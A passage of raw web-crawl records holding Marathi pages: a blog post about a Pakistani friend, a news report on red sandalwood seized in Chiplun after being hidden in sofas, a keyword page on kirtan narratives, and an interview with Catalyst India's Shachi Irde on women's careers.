वाचण्यासाठी आमच्या YourStory MarathiFacebook पेजला भेट द्या. लाईक करा\nआता वाचा संबंधित कहाण्या :\nनेटीझन्सचा नवा अड्डा.... नुक्कड कथा...\nनवीन लेखक आणि कलाकारांचा ऑनलाईन ‘बुकहंगामा’\nविवेकी विचारांची पेरणी करुन भावी पिढी घडविण्यासाठी प्रयत्नशील असलेले ‘अक्षरमित्र’\nसिग्नलवर व्यवहाराचे धडे गिरवणाऱ्या चिमुरड्यांसाठी सुरू झालीय सिग्नल शाळा... समर्थ भारत व्यासपीठ संस्थेचा स्तुत्य उपक्रम \nआता उच्च शिक्षणाची सर्व माहिती एका टचवर, स्टडीदुनिया डॉट कॉम एक उपयुक्त अॅप\nसर्व काही छंदासाठी... हॉबीगिरी डॉट कॉम एक अनोखा उपक्रम\nएका झोपडीतून सुरु झालेला 'अंबिका मसाला' उद्योगाचा प्रवास आता परदेशात जाऊन पोहोचलाय\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00160.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://baal-saloni.blogspot.com/2009/04/blog-post_09.html", "date_download": "2018-09-25T17:46:37Z", "digest": "sha1:PWMQZV3WDWTHN2YS4DBHRX2LETTO44CJ", "length": 8904, "nlines": 72, "source_domain": "baal-saloni.blogspot.com", "title": "बाल-सलोनी: एक मित्र .. इरफान", "raw_content": "\nएक मित्र .. इरफान\nमागच्या १-२ दिवसात अनपेक्षीतपणे इरफ़ानशी परत संपर्क झाला.\nइरफ़ान मुझफ्फर हा माझा मिशिगन स्टेट युनिव्हर्सिटीमध्ये भेटलेला एक मित्र. मुळचा पाकिस्तानमधील लाहोर आणि रावळपिंडीचा. अतिशय बुद्धिमान आणि त्यामुळे अर्थाच बुद्धीजीवी या सदरात मोडणारा. कालच कळले की तो आता सोरोस फाउण्डेशन या एका संस्थेचे काम करतो. ही संस्था जागतिक पातळीवर होणार्या घडामोडींवर नजर ठेवते आणि जगातील सरकारे तिथल्या जनतेचे हित कसे जोपासतील यासाठी प्रयत्न करतात. सोरोस हा एक हंगेरियन अब्जाधीश आहे. तो ओबामाचा खुप मोठा समर्थक आहे. असो ... तर इरफ़ान हा मुळचा असा आहे. मला आठवते आहे आमची पहिली भेट दुसर्या एका मित्राच्या घरी जेवणाच्या निमित्ताने गेलो असता झाली. तिथे राजकारणाच्या गप्पा मारत असताना आमचे सुर जुळले.\nपाकिस्तानी लोकांबद्दल असलेली एक अढी दुर व्ह्यायला लागली. इरफ़ान हा मुळचा पाकिस्तानी लष्करात कॅप्टन की मेजर होता. पाकिस्तानी मिलिटरी अकॅडेमी मध्ये पहिल्या की दुसर्या क्रमांकाने उत्तीर्ण झालेल्या इरफ़ानचे भवितव्य उज्ज्वल होते. पाकिस्तान लष्करात भरती होणे हा प्रगतीचा एकमेव मार्ग आहे असे म्हटले तर अतिशयोक्ती होणार नाही. लष्करातील लोकांना मान, सन्मान आणि पैसा कमावण्याच्या संधी (भल्या आणि बुर्या दोन्ही) जास्त असल्यामुळे गुणी आणि धडाडीच्या सर्व तरुणांसारखाच इरफ़ानसुद्धा लष्करात भरती झाला. परंतु त्याच्या जीपला एकदा झालेल्या एका अपघातात त्याचा एक पाय किंचीत अधु झाला. आणि इरफ़ानला लष्कराचा निरोप घ्यावा लागला. त्यानंतर त्याने अमेरिकेत येउन गणित कसे शिकवावे या विषयावर पीएचडी केली. परंतु बुद्धिमान असला तरीही संशोधन किंवा अध्यापन या दोन्हीपेक्षा इरफ़ानचे मन राजकारणात जास्त रमते त्यामुळे सोरोस फाउण्डेशनचे काम.\nभारत आणि पाकिस्तान यांचे संबध तसे तणावाचे त्यामुळे पाकिस्तानी माणसे कशी असतील याचा एक साचा आपल्या मनात असतो. इरफ़ानने माझ्या मनातल्या त्या प्रतिमेच्या नक्किच पलिकडे गेला. त्याचे कुटुंब मुळचे लखनौचे. फाळणीनंतर पाकिस्तानला जावे लागल्याची वेदना बर्याचदा जाणवायची. भारताबद्दल बर्याचदा प्रेम, कधितरी टीका परंतु कडवटपणा कधीच जाणवला नाही. आम्ही खुलेपणाने एकमेकांच्या देशाचे गुणगौरव, समर्थन आणि टीकाही करत असताना एकमेकांबद्दल सद्भावनाच असे.\nमागील काही दशकांमध्ये पाकिस्तानाची दहशतवादाकडे होणारी अधोगति पाहुन त्याला खुप दु:ख व्ह्यायचे. भारताच्या प्रगतीच्या पार्श्वभूमीवर तर तो विरोधाभास अधिकच गडद होत असे. पाकिस्तानात परतुन काही करण्याची इच्छा असली तरीही परतण्यासारखी परिस्थिती तिथे नक्किच नाही. इरफ़ान परत गेलाही काही प्रोजेक्टसच्या निमित्ताने. परंतु काही महिन्यातच परत आला.\nमाझे एमबीए पूर्ण झाल्यानंतर आम्ही फिनिक्सला आलो तरिहि संपर्क चालु होता. मध्यंतरी संसदेवर झालेल्या हल्ला आणि पाकिस्तानच्या इतर कुरापती यांचे प्रतिबिंब कुठेतरी आमच्या नात्यात उमटते. कधीतरी तात्पुरता दुरावा होतो परंतु तरीही स्नेह आणि सद्भावना कायम राहतात.\nमैत्री ही अशीच असते. कधी दुरावा, कधी अबोला ... परंतु निष्कपट मन असेल तर प्रेम कायम राहते आणि कधितरी परत एकदा मित्र एकत्र यायला वेळ लागत नाही.\nएक मित्र .. \"इरफान\"\nक्लीन बोल्ड, चारी मुंडया चीत, मार डाला\nसलोनीची गुगली आणि आमची धावपळ\nएक मित्र .. इरफान\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00161.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/443301", "date_download": "2018-09-25T17:17:36Z", "digest": "sha1:LWUUKP3UZE4XFJQWTUAUEFGGHJNPJ3NA", "length": 10631, "nlines": 48, "source_domain": "www.tarunbharat.com", "title": "चिपळुणात आणखी 80 लाखाचे रक्तचंदन जप्त - तरुण भारत | तरुण भारत", "raw_content": "\nYou are here: Home » आवृत्ती » रत्नागिरी » चिपळुणात आणखी 80 लाखाचे रक्तचंदन जप्त\nचिपळुणात आणखी 80 लाखाचे रक्तचंदन जप्त\nऔषधी गुणधर्म असलेल्या आणि परदेशात मोठय़ा प्रमाणात मागणी असलेल्या दुर्मीळ अशा रक्तचंदनाचा आणखी 80 लाख रूपयांचा साठा येथील वनविभागाने शनिवारी रात्री जप्त केला असून आतापर्यंत 1 कोटी 20 लाख रूपयांचे रक्तचंदन जप्त झाले आहे. आणखी लपवून ठेवलेला मोठा साठा सापडण्याची शक्यता असून तस्करीचा संशय येऊ नये, म्हणून सोफ्यातून ती केली जात असल्याचे उघडकीस आले आहे. त्यामुळे याचा सूत्रधार असलेल्या इसा हळदे याला ताब्यात घेण्यासाठी वनविभागाने खास पथक तैनात केले असल्याचे वृत्त आहे.\nराज्यात रक्तचंदन मिळणे दुर्मीळ असतानाच काही दिवसांपूर्वी गोवळकोट रोड येथील आफ्रिन पार्कमधील अलमका इमारतीतील समीर शौकत दाभोळकर यांच्या मालकीच्या गाळय़ात टाकलेल्या धाडीत रक्तचंदनाचे सुमारे 40 लाख रूपये किंमतीचे 92 नग जप्त केले. त्यामुळे येथे खळबळ उडाली असतानाच आणखी साठा मिळत आहे. यातील मुख्य सूत्रधार इसा हळदे हा गायब असतानाही वनविभागाचे अधिकारी मिळत असलेल्या माहितीनुसार धाडी टाकून हा साठा जप्त करत आहेत.\nगोवळकोट रोड येथील चिकटे नामक व्यक्तीच्या जमिनीत मेमन नामक व्यक्ती इमारत उभी करत असून या इमारतीत मोठा साठा असल्याची माहिती वनविभागाला मिळाली होती. त्यानुसार वनविभागाने शनिवारी रात्री 11.30 वाजता येथे छापा मारला. यावेळी अधिकारी चकीत होतील, असा प्रकार उघडकीस आला. येथे तब्बल 37 सोफे आढळून आले. त्यामुळे या सोफ्यांचा संशय आला. यातील एक सोफा फोडून पाहिला असता त्यात चंदनाचे ओंडके असल्याचे दिसून आले. त्यामुळे वनविभागाने हे सर्व सोफे ताब्यात घेतले. रविवारी हे सर्व सोफे फोडण्यात आले. यावेळी प्रत्येक सोफ्यात 3 ते 4 ओंडके अगदी पद्धतशीरपणे लॉक करून ठेवण्यात आले होते. वाहतुकीदरम्यान ते हळू नयेत, म्हणून त्याला पट्टी मारण्यात आली होती. त्यामुळे ही पद्धत पाहता गेल्या अनेक महिन्यापासून ही तस्करी होत असल्याचे तसेच त्यात आंतरराष्ट्रीय रॅकेट असल्याचे शिक्कामोर्तब होत आहे. त्यामुळे वनविभाग त्या दृष्टीने तपास करीत आहे.\nतस्करी करण्यासाठी परिपूर्ण केलेल्या सोफ्यावर त्या सोफ्याचे चित्र छापून त्या खाली काही कोड वापरण्यात आले होते. यातील सर्व कोडचा उलगडा होत नसला तरी त्यावर लिहिलेल्या 3 सीट, 4 सीटवरून त्यात तितके ओंडके असल्याचे स्पष्ट होत आहे. वनविभागाने आतापर्यंतच्या धाडीत 312 ओंडके जप्त केले असून ते सुरक्षितस्थळी ठेवण्यात आले आहेत. त्याची किंमत 1 कोटी 20 लाख इतकी आहे.\nआणखी साठा असण्याची शक्यता\nयातील मुख्य सूत्रधार इसा हळदे हा गायब असला तरी वनविभाग मिळत असलेल्या माहितीनुसार, छापा मारून रक्तचंदन जप्त करत आहे. त्यामुळे आणखी मोठा साठा असण्याची शक्यता वर्तवली जात असून इसा हळदेच्या अटकेनंतर आणखी साठा व त्याचे साथीदार मिळण्याची शक्यता आहे.\nहळदेच्या शोधासाठी खास पथक\nहळदे हा गायब झाल्याने वनविभागाने त्याला हजर होण्याबाबतची नोटीस धाडली आहे. ही नोटीस त्याच्या पत्नीने घेतली आहे. मात्र तो सहजासहजी येईल, असे वाटत नसल्याने त्याच्या शोधासाठी वनविभागाने खास पथक नेमले आहे. त्यामुळे तो लवकरच जाळय़ात सापडेल, असा विश्वास वनविभागाला आहे.\nयेथील वनविभागाने ही जिल्हाभरातील सर्वात मोठी कारवाई केल्यानंतर शनिवारी कोल्हापूर येथील दक्षता पथकाचे विभागीय वनाधिकारी वसंत भोसले हे येथे आले आहेत. त्यांच्या मार्गदर्शनाखाली वनविभागाच्या फिरत्या पथकाचे शहाजी पाटील, परिक्षेत्र वनाधिकारी सुरेश वरक यांच्यासह 3 अधिकारी व 12 कर्मचारी या यशस्वी कामगिरीत कार्यरत आहेत.\nरत्नागिरी जिह्यातील 100 गावे होणार ‘पॅशलेस’\nगोवळकोट दरडग्रस्त कुटुंबियांचा पुनर्वसनाला विरोध कायम\n‘बाप्पा’ची प्रतिष्ठापना अन् भक्तीमय सुगंधाची दरवळ\nचिपळुणातील सीसी टीव्ही कॅमेरे कार्यान्वित\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00161.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.transliteral.org/keywords/%E0%A4%86%E0%A4%96%E0%A5%8D%E0%A4%AF%E0%A4%BE%E0%A4%A8/word", "date_download": "2018-09-25T17:35:17Z", "digest": "sha1:BIFSCEQ53INKXIN3BXWQX45Y4XPPID3Q", "length": 12227, "nlines": 113, "source_domain": "www.transliteral.org", "title": "Keyword - आख्यान", "raw_content": "\nचांदणी चोळी म्हणजे काय\nकीर्तनासंबंधी ज्ञान संपादन करून, नंतर स्वार्थ वा परमार्थ संपादन व्हावा या उद्देशाने कीर्तन करून लोकांस ज्ञान सांगण्यासाठी कीर्तनकार आख्यान लावतात.\nभद्रायु चरित्र - कीर्तन पूर्वरंगनिरुपम्\nकीर्तनासंबंधी ज्ञान संपादन करून, नंतर स्वार्थ वा परमार्थ संपादन व्हावा या उद्देशाने कीर्तन करून लोकांस ज्ञान सांगण्यासाठी कीर्तनकार आख्यान लावतात.\nभद्रायु चरित्र - भद्रायु चरित्र\nकीर्तनासंबंधी ज्ञान संपादन करून, नंतर स्वार्थ वा परमार्थ संपादन व्हावा या उद्देशाने कीर्तन करून लोकांस ज्ञान सांगण्यासाठी कीर्तनकार आख्यान लावतात.\nकीर्तनासंबंधी ज्ञान संपादन करून, नंतर स्वार्थ वा परमार्थ संपादन व्हावा या उद्देशाने कीर्तन करून लोकांस ज्ञान सांगण्यासाठी कीर्तनकार आख्यान लावतात.\nभीम भक्तिचरित्राख्यान - कीर्तन पूर्वरंग निरुपण\nकीर्तनासंबंधी ज्ञान संपादन करून, नंतर स्वार्थ वा परमार्थ संपादन व्हावा या उद्देशाने कीर्तन करून लोकांस ज्ञान सांगण्यासाठी कीर्तनकार आख्यान लावतात.\nभीम भक्तिचरित्राख्यान - भीमभक्तिचरित्र.\nकीर्तनासंबंधी ज्ञान संपादन करून, नंतर स्वार्थ वा परमार्थ संपादन व्हावा या उद्देशाने कीर्तन करून लोकांस ज्ञान सांगण्यासाठी कीर्तनकार आख्यान लावतात.\nकीर्तनासंबंधी ज्ञान संपादन करून, नंतर स्वार्थ वा परमार्थ संपादन व्हावा या उद्देशाने कीर्तन करून लोकांस ज्ञान सांगण्यासाठी कीर्तनकार आख्यान लावतात.\nचंद्रहासाख्यान - कीर्तन पूर्वरंग निरुपण\nकीर्तनासंबंधी ज्ञान संपादन करून, नंतर स्वार्थ वा परमार्थ संपादन व्हावा या उद्देशाने कीर्तन करून लोकांस ज्ञान सांगण्यासाठी कीर्तनकार आख्यान लावतात.\nकीर्तनासंबंधी ज्ञान संपादन करून, नंतर स्वार्थ वा परमार्थ संपादन व्हावा या उद्देशाने कीर्तन करून लोकांस ज्ञान सांगण्यासाठी कीर्तनकार आख्यान लावतात.\nश्री दासगणु महाराजांची आख्याने\nश्रीसद्गुरू दासगणु महाराजांची कीर्तनाख्यानें हीं अत्यंत वैशिष्ट्यपूर्ण, रसाळ आणि विविध काव्यगुणांनी संपन्न असून श्राव्य काव्याचा तो एक उत्कृष्ट नमुना..\nश्रीसद्गुरू दासगणु महाराजांची कीर्तनाख्यानें हीं अत्यंत वैशिष्ट्यपूर्ण, रसाळ आणि विविध काव्यगुणांनी संपन्न असून श्राव्य काव्याचा तो एक उत्कृष्ट नमुना..\nश्रीनरहरि अवतार ( संक्षिप्त )\nश्रीसद्गुरू दासगणु महाराजांची कीर्तनाख्यानें हीं अत्यंत वैशिष्ट्यपूर्ण, रसाळ आणि विविध काव्यगुणांनी संपन्न असून श्राव्य काव्याचा तो एक उत्कृष्ट नमुना..\nश्रीसद्गुरू दासगणु महाराजांची कीर्तनाख्यानें हीं अत्यंत वैशिष्ट्यपूर्ण, रसाळ आणि विविध काव्यगुणांनी संपन्न असून श्राव्य काव्याचा तो एक उत्कृष्ट नमुना..\nश्रीवामन अवतार ( संक्षिप्त )\nश्रीसद्गुरू दासगणु महाराजांची कीर्तनाख्यानें हीं अत्यंत वैशिष्ट्यपूर्ण, रसाळ आणि विविध काव्यगुणांनी संपन्न असून श्राव्य काव्याचा तो एक उत्कृष्ट नमुना..\nश्रीसद्गुरू दासगणु महाराजांची कीर्तनाख्यानें हीं अत्यंत वैशिष्ट्यपूर्ण, रसाळ आणि विविध काव्यगुणांनी संपन्न असून श्राव्य काव्याचा तो एक उत्कृष्ट नमुना..\nश्रीसद्गुरू दासगणु महाराजांची कीर्तनाख्यानें हीं अत्यंत वैशिष्ट्यपूर्ण, रसाळ आणि विविध काव्यगुणांनी संपन्न असून श्राव्य काव्याचा तो एक उत्कृष्ट नमुना..\nश्रीसद्गुरू दासगणु महाराजांची कीर्तनाख्यानें हीं अत्यंत वैशिष्ट्यपूर्ण, रसाळ आणि विविध काव्यगुणांनी संपन्न असून श्राव्य काव्याचा तो एक उत्कृष्ट नमुना..\nश्रीसद्गुरू दासगणु महाराजांची कीर्तनाख्यानें हीं अत्यंत वैशिष्ट्यपूर्ण, रसाळ आणि विविध काव्यगुणांनी संपन्न असून श्राव्य काव्याचा तो एक उत्कृष्ट नमुना..\nश्री कृष्ण लीला १\nश्रीसद्गुरू दासगणु महाराजांची कीर्तनाख्यानें हीं अत्यंत वैशिष्ट्यपूर्ण, रसाळ आणि विविध काव्यगुणांनी संपन्न असून श्राव्य काव्याचा तो एक उत्कृष्ट नमुना..\nश्री कृष्ण लीला २\nश्रीसद्गुरू दासगणु महाराजांची कीर्तनाख्यानें हीं अत्यंत वैशिष्ट्यपूर्ण, रसाळ आणि विविध काव्यगुणांनी संपन्न असून श्राव्य काव्याचा तो एक उत्कृष्ट नमुना..\n१.बंधक व्यापक बनाना २. बंधक लागू करना\nनाग आणि नागपंचमी यांचा परस्परसंबंध काय\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00161.warc.wet.gz", "language": "mr", "language_score": 0.79, "bucket": "all"} {"url": "https://marathi.yourstory.com/read/cddf2c79e9/-quot-women-are-ahead-of-men-in-order-to-help-others-quot-shachi-around-executive-director-india", "date_download": "2018-09-25T17:58:22Z", "digest": "sha1:THLQSSR4O7EGKT5TBTICXEX46XEKTYMW", "length": 23274, "nlines": 105, "source_domain": "marathi.yourstory.com", "title": "\"पुरुषांपेक्षा स्त्रिया इतरांना मदत करण्यामध्ये आघाडीवर आहेत.\" शचि इर्दे, कार्यकारी संचालक, कॅटलिस्ट इंडिया", "raw_content": "\n\"पुरुषांपेक्षा स्त्रिया इतरांना मदत करण्यामध्ये आघाडीवर आहेत.\" शचि इर्दे, कार्यकारी संचालक, कॅटलिस्ट इंडिया\nशचि इर्दे ह्या भारतातील ‘कॅटलिस्ट इंडिया’ च्या कार्यकारी संचालक आहेत. ‘कॅटलिस्ट इंडिया’ ही एक अशी संस्था आहे, जी व्यावसायिक जगतात स्त्रियांना अधिक संधी उपलब्ध करून देण्यासाठी संशोधन व कार्य करते. शचि यांना माइक्रोलँड, स्पाइस मोबाइल, विप्रो आणि इन्फोसिससारख्या संस्थासाठी काम करण्याचा १७ वर्षांपेक्षा जास्त व वैविध्यपूर्ण अनुभव आहे. ‘कॅटलिस्ट इंडिया’ मध्ये काम करण्यास सुरुवात करण्यापूर्वी, त्या इन्फोसिस येथे ‘विविधता आणि समावेशन’ विभागाच्या प्रमुख होत्या. परंतु स्वतःची कॉर्पोरेट जगतातील उंचीवर असणारी व्यावसायिक कारकिर्द सोडून, त्यांनी कामकरी स्त्रियांच्या उत्कर्षासाठी स्वतःची उर्वरित कारकिर्द समर्पित केली आहे.\nआम्ही ‘युअरस्टोरी’ साठी त्यांच्याशी बातचीत करून त्यांची प्रेरणा आणि ध्येयाविषयी जाणून घेतले.\nलहानपणापासूनचे असे कोणते संस्कार आणि पाठ तुम्हाला आजपर्यंत प्रेरणा देत आहेत\nमाझा जन्म आणि संगोपन अशा शहरात झाले आहे जे एक औद्योगिक वसाहत म्हणून नावारूपाला आले होते. माझ्या लहानपणी मी भिन्न-भिन्न पार्श्वभूमी असण्याऱ्या लोकांच्या सानिध्यात होते. त्या वातावरणाचा अनुभव माझी चांगली जडणघडण होण्यास कारणीभूत आहे . त्यामुळे मी भाषा, खाद्यप्रकार, धर्म आणि संस्कृती यातील अंतर जाणून प्रत्येकाची प्रशंसा करण्यास शिकले. माझे मित्र-मंडळ भारतातील विविध राज्यातून आलेल्या लोकांचे बनले होते आणि म्हणूनच आम्ही सर्वांनी एकमेकांचे भिन्नत्व जाणून त्याचा आदर करणे अत्यावश्यक होते. त्यामुळेच आम्हा सर्वांसाठी एकमेकांच्या सण-सोहळ्यात तसेच दु:खात सहभागी होणे, अतिशय सोपे झाले होते. आम्हा सगळ्यांना एकत्र बांधून ठेवणारा जर कुठला रेशीमबंध होता, तर तो म्हणजे आमची शाळा. शिक्षण हे आम्हा सर्वांसाठी खूप महत्वाचे होते आणि त्या काळी आमचे लक्ष विचलित करणारी कमी साधनं अस्तित्वात होती. त्यामुळेच शाळेत जवळजवळ सगळेच सर्वोत्तम होण्यासाठी एकमेकांशी स्पर्धा करत असत.\nसंगणक शास्त्रात पदवी घेतल्यानंतर, मी विपणन शाखेत एम.बी.ए. (MBA in Marketing) करण्याचा निर्णय घेतला कारण मी स्वतःला दिवसाचे ८ ते १० तास एका टेबलमागे बसून संगणकावर काम करताना पाहण्याचा विचारसुद्धा करू शकत नव्हते. माझ्या वडिलांनी प्रोत्साहन आणि स्वातंत्र्य दिल्यामुळेच मी माझ्या आवडीचे कार्यक्षेत्र निवडू शकले.\nमाझ्या लहानपणाचा आणखी एक महत्त्वाचा पैलू आहे आणि तो म्हणजे मला मिळालेले सुरक्षित, मोकळे वातावरण. आम्हाला निसर्गाच्या सानिध्यात राहून नवीन गोष्टी शिकण्याचे स्वातंत्र्य होते. अशा वातावरणामुळे निर्भयपणे प्रयोग करण्याचे भान माझ्या अंगी जोपासले गेले, ज्यामुळे आजही व्यावसायिक कारकिर्दीत जोखीम घेऊन आव्हानांना सामोरे जाण्यास, मला बळ मिळत आहे.\nआम्हाला तुमच्या व्यावसायिक कारकिर्दीच्या प्रवासाबद्दल सांगा.\nमाइक्रोलँड येथे विपणन व्यवस्थापकाच्या पदावर मी माझी पहिली नोकरी केली. तो १९९४ चा काळ होता. १९९६ मध्ये मी स्पाईस टेलीकॉम मध्ये ‘विपणन आणि विक्री’ विभागात वरिष्ठ व्यवस्थापकाच्या पदावर रुजू झाले. तेथे मी ७ वर्ष काम केले. त्याकाळी मी नक्कीच अशा स्त्रियांपैकी एक होते ज्यांना विक्री विभागात काम करण्यास मिळणे, ह्याचा अतिशय आनंद होत असे. मी त्या स्वरूपाच्या कामातील प्रत्येक क्षणाचा आनंद लुटला, मग ते ग्राहकांशी प्रत्यक्ष भेट घेणे, प्रस्ताव बनवणे, वाटाघाटी करणे असो अथवा शेवटी ग्राहकांकडून करार पूर्ण करून घेणे असो.\nनंतर मी विप्रोमध्ये काम करण्यास गेले. तेथे माझी ‘मानवसंसाधन’ (Human Relations) विभागात नेमणूक झाली. विप्रोमध्ये ३ वर्ष काम केल्यानंतर, मी इन्फोसिसमध्ये नोकरीवर रुजू झाले.\nमाझ्या कारकिर्दीमध्ये माझ्या प्रगतीचा आलेख, एका संस्थेतून दुसऱ्या संस्थेत काम करणे असा राहिला नसून, माझ्या कामाची भूमिका अथवा स्वरूपानुसार बदलत गेला आहे. सतत नवीन काहीतरी शिकण्याची प्रबळ इच्छा आणि संस्थेतील प्रत्येक विभागाचे संचलन जाणून घेण्याची कळकळ, ह्या दोन गोष्टींना मी नेहमी माझा हुद्दा आणि संधी निवडताना प्राथमिकता दिली आहे. आजवर मी माझ्या कारकिर्दीत, दर्शनी विक्री विभाग, किरकोळ विक्री विभाग, जाहिरात आणि विपणन विभाग, पार्श्वभूमी ग्राहक सेवा, ग्राहक निष्ठा सेवा, व्यवसाय भागीदार, मानवसंसाधन विभाग, कर्मचारी संबंध आणि अंतर्गत संचार, विविधता आणि समावेश विभाग अशा विविध–अंगी कामाचा अनुभव घेतला आहे.\nइन्फोसिसमध्ये कारकिर्दीच्या उच्चतम स्थानावर असताना, ते काम सोडून, तुम्ही विना-नफा संघटनेत काम करण्याचा निर्णय का घेतला\nइन्फोसिसमध्ये ‘विविधता आणि समावेश’ (Diversity and Inclusion) विभागात काम करताना, मला खरोखरच ह्या गोष्टींचा साक्षात्कार झाला की स्त्रियांना कामाच्या ठिकाणी किती विविध समस्यांना तोंड द्यावे लागते आणि व्यावसायिक संस्था योग्य व प्रतिभावान कर्मचाऱ्यांना त्यांच्या संस्थेत सामावून घेण्यासाठी किती तत्पर असतात.\nमी माझ्या ‘कॅटलिस्ट इंडिया’ मधील भूमिकेचं विश्लेषण करताना हेच सांगेन की मी खरोखर तेथे एका उत्प्रेरकाची (catalyst) भूमिका साकारत आहे. सध्या मी मालक व कर्मचारी वर्गामध्ये एका सर्वसमावेशक संस्कृतीचे महत्व काय आहे, ह्याबद्दल जागरुकता वाढवण्यावर माझे लक्ष केंद्रित केले आहे. तसेच स्त्रियांना त्यांच्या पुढील कारकिर्दीतील वाटचालीच्या शक्यता समजावणे, व्यावसायिक समुदायांना एकत्र आणणे व अशा पद्धतीने कॅटलिस्ट इंडियाचे ‘स्त्रियांसाठी व्यावसायिक संधी विस्तारण्याचे’ ध्येय सत्यात उतरवण्यासाठी मी काम करत आहे.\nमी नेहमीच वाटेत उभ्या ठाकलेल्या आव्हानांना सामोरी जाण्यास तत्पर असते आणि १० वेगवेळ्या गोष्टी तीन सेकंदांत तत्काळ पूर्ण करण्यासाठी उत्सुक असते. १७ वर्ष कॉर्पोरेट जगतात यशाच्या पायऱ्या चढल्यानंतर, मला आता असे जाणवते की कॅटलिस्ट इंडियामधील माझी भूमिका मला माझ्या वैयक्तिक मर्यांदांच्या पलीकडे जाऊन एका विशाल कार्याचा भाग होण्याची संधी देत आहे, जे कार्य समाजामध्ये सकरात्मक परिणाम घडवून आणण्यासाठी खूप महत्वाचे आहे.\nकॅटलिस्ट इंडियाने संशोधन करून कशाप्रकारचे निष्कर्ष काढले आहेत\nकॅटलिस्टच्या ‘लीडर्स पे इट फॅारवर्ड’ नावाच्या संशोधन अहवालानुसार, उच्च प्रतीच्या प्रतिभावान व्यक्ती, ज्या स्वबळावर प्रशिक्षित होऊन त्यांच्या कारकिर्दीमध्ये उंचीवर पोहचलेल्या असतात, त्या नक्कीच त्यांच्या पुढच्या पिढीची जडणघडण करून त्यांना विकास करायला मदत करतात. ही एक लक्षणीय गोष्ट आहे की ह्या बाबतीत पुरुषांपेक्षा स्त्रिया इतरांना मदत करण्यामध्ये आघाडीवर आहेत.\nदुर्देवाने, व्यावसायिक क्षेत्रात महत्वाच्या हुद्द्यांवर फार कमी महिला विराजमान आहेत. आणि स्त्रियांना उच्च स्थानापर्यंत पोहचण्यासाठी फार कमी संधी दिल्या जातात. कॅटलिस्टच्या ‘गुड इन्टेंशंन, इम्परफेक्ट एक्झेक्युशन’ ह्या संशोधन अहवालानुसार, उच्च पदांवर पोहचण्याची स्त्रियांना समान संधी नसणे, ही गोष्ट वरिष्ठ पदांवरील स्त्री-पुरुष वेतनश्रेणीमध्ये दीर्घकालीन तफावत असण्याचे मूळ कारण आहे. ही वस्तुस्थिती आमच्या एका ‘कॅटलिस्ट २०१३ सेन्सस ऑफ फॉर्चून ५००’ ह्या नवीनतम अहवालामध्ये अधोरेखित झाली आहे, ज्यात असे आढळून आले आहे की, २०१३ साली स्त्रियांना कॉर्पोरेट संचालक मंडळावरील फक्त १६.९% जागा मिळाल्या होत्या आणि १०% संस्थामध्ये एकही स्त्री त्यांच्या संचालक मंडळात नव्हती.\n‘हाय पोटेन्शिअल वूमेन इन टेकनॉलॅाजी’ ह्या आमच्या भारतात केलेल्या अलिकडील अभ्यासावरून असा निष्कर्ष निघाला आहे की, गेल्या १२ वर्षात लिंगभेदावर आधारित वेतनश्रेणीमध्ये ६००० अमेरिकन डॉलर्स इतके अंतर आढळून आले आहे.\nतुमच्या वैयक्तिक अनुभवानुसार, तुम्हाला काय वाटते की व्यावसायिक कारकिर्दीत येणाऱ्या आव्हानांना कसे सामोरे जावे\nकारकिर्दीच्या पहिल्या दिवसापासूनच त्या परिघातील लोकांशी मैत्रीपूर्ण संबंध प्रस्थापित करा. माझ्या व्यावसायिक कारकिर्दीत, जेंव्हा कधी माझ्यासमोर एखादं आव्हान होते, तेंव्हा मी आजवर जोपासलेले नातेसंबंध मला मदत करण्यासाठी पुढे आले आहेत. म्हणूनच मी स्त्रियांना असाच सल्ला देईन की त्यांनी कारकिर्दीच्या सुरवातीलाच सहकाऱ्यांशी मजबूत मैत्रीपूर्ण संबंध ठेवावेत.\nअजून एक महत्वाची बाब म्हणजे स्त्रियांनी नेहमीच मनातील विचारांना शब्दात व्यक्त करावे. ज्या काही गोष्टी तुम्हाला पटत नसतील त्याबद्दल चर्चा करण्यासाठी कुणीतरी सहृदय सहकारी असावेत. तुम्ही नक्कीच फक्त विश्वासातल्या लोकांसमोरच तुमचे मन मोकळे करावे, पण नेहमीच अशा सहकाऱ्यांचा गट, व्यवस्थापक, गुरु किंवा मित्र-मैत्रिणीं सोबत असावेत, जे तुमच्या व्यावसायिक कारकिर्दीत तुम्हाला योग्य मार्गावर चालण्यासाठी मदत करतील.\nतुमचे प्रेरणास्त्रोत काय आहे\nमी लगेच हार मानत नाही. ‘जर कुणीतरी एखादी गोष्ट करू शकत असेल, तर मी का नाही करू शकत’ हा मीच मला विचारलेला प्रश्न मला नेहमी स्फूर्ती देत राहतो. मी फार उत्सुक स्वभावाची व्यक्ती आहे, मी सतत नाविन्याचा शोध घेत राहते आणि इतर लोकांकडून नवनवीन गोष्टी शिकण्याचा प्रयत्न करते.\nया तरुणी जागरूकता निर्माण करण्यासाठी गरीब महिलांना मोफत सॅनिटरी नॅपकिन्सचे वाटप करतात \nभारतीय-अमेरिकन वकील ज्या ट्रम्प यांचे 